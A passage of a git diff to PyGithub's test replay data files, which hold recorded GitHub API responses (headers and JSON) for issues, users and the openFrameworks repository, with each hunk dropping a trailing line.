'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:6DA9:6920FB1:52AF94DE'), ('content-length', '76'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 17 Dec 2013 00:03:42 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"message":"Not Found","documentation_url":"http://developer.github.com/v3"} - diff --git a/tests/ReplayData/Issue214.testCreateIssue.txt b/tests/ReplayData/Issue214.testCreateIssue.txt index 8517b3b215..51f5249da0 100644 --- a/tests/ReplayData/Issue214.testCreateIssue.txt +++ b/tests/ReplayData/Issue214.testCreateIssue.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4828'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043B:6651E72:52AF921C'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('location', 'https://api.github.com/repos/farrd/PyGithub/issues/3'), ('content-length', '2592'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"900018f8180df60c18df92fcab23cf23"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:51:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/3","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/events","html_url":"https://github.com/farrd/PyGithub/issues/3","id":24390063,"number":3,"title":"Issue created by PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:51:56Z","updated_at":"2013-12-16T23:51:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null,"closed_by":null} - diff --git a/tests/ReplayData/Issue214.testEditIssue.txt b/tests/ReplayData/Issue214.testEditIssue.txt index 593004c466..728f9402f3 100644 --- a/tests/ReplayData/Issue214.testEditIssue.txt +++ b/tests/ReplayData/Issue214.testEditIssue.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4823'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:043C:7377A01:52AF921E'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '1621'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"f6bb6e7859e5f62cdc99f6fc6cbe0c09"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:51:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] {"url":"https://api.github.com/repos/farrd/PyGithub/issues/1","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/1/events","html_url":"https://github.com/farrd/PyGithub/issues/1","id":24389294,"number":1,"title":"Test Issue","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-12-16T23:36:11Z","updated_at":"2013-12-16T23:51:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"","closed_by":null} - diff --git a/tests/ReplayData/Issue214.testGetIssues.txt b/tests/ReplayData/Issue214.testGetIssues.txt index 3821a7c6cb..861737e55e 100644 --- a/tests/ReplayData/Issue214.testGetIssues.txt +++ b/tests/ReplayData/Issue214.testGetIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4815'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'A99159CE:2C50:65E63AF:52AF923A'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '5153'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"3758de592b6c58f9de00b937c89b4db4"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 16 Dec 2013 23:52:27 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1387240227')] [{"url":"https://api.github.com/repos/farrd/PyGithub/issues/3","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/3/events","html_url":"https://github.com/farrd/PyGithub/issues/3","id":24390063,"number":3,"title":"Issue created by PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:51:56Z","updated_at":"2013-12-16T23:51:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null},{"url":"https://api.github.com/repos/farrd/PyGithub/issues/2","labels_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/farrd/PyGithub/issues/2/events","html_url":"https://github.com/farrd/PyGithub/issues/2","id":24389967,"number":2,"title":"Issue created by PyGithub","user":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":{"login":"farrd","id":1387834,"avatar_url":"https://gravatar.com/avatar/3281acd8cd12337bfba7577736ae663e?d=https%3A%2F%2Fidenticons.github.com%2Fe57fcb2ce01df0e0a8305b6fff8070d8.png&r=x","gravatar_id":"3281acd8cd12337bfba7577736ae663e","url":"https://api.github.com/users/farrd","html_url":"https://github.com/farrd","followers_url":"https://api.github.com/users/farrd/followers","following_url":"https://api.github.com/users/farrd/following{/other_user}","gists_url":"https://api.github.com/users/farrd/gists{/gist_id}","starred_url":"https://api.github.com/users/farrd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/farrd/subscriptions","organizations_url":"https://api.github.com/users/farrd/orgs","repos_url":"https://api.github.com/users/farrd/repos","events_url":"https://api.github.com/users/farrd/events{/privacy}","received_events_url":"https://api.github.com/users/farrd/received_events","type":"User","site_admin":false},"milestone":null,"comments":0,"created_at":"2013-12-16T23:49:47Z","updated_at":"2013-12-16T23:49:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":null}] - diff --git a/tests/ReplayData/Issue216.setUp.txt b/tests/ReplayData/Issue216.setUp.txt index b38ffadf10..9e58593f2b 100644 --- a/tests/ReplayData/Issue216.setUp.txt +++ b/tests/ReplayData/Issue216.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} - diff --git a/tests/ReplayData/Issue216.testIteration.txt b/tests/ReplayData/Issue216.testIteration.txt index a6eca3755c..5fc1904361 100644 --- a/tests/ReplayData/Issue216.testIteration.txt +++ b/tests/ReplayData/Issue216.testIteration.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/Issue278.setUp.txt b/tests/ReplayData/Issue278.setUp.txt index b38ffadf10..9e58593f2b 100644 --- a/tests/ReplayData/Issue278.setUp.txt +++ b/tests/ReplayData/Issue278.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} - diff --git a/tests/ReplayData/Issue278.testIteration.txt b/tests/ReplayData/Issue278.testIteration.txt index 330e60a7c2..5639995461 100644 --- a/tests/ReplayData/Issue278.testIteration.txt +++ b/tests/ReplayData/Issue278.testIteration.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. 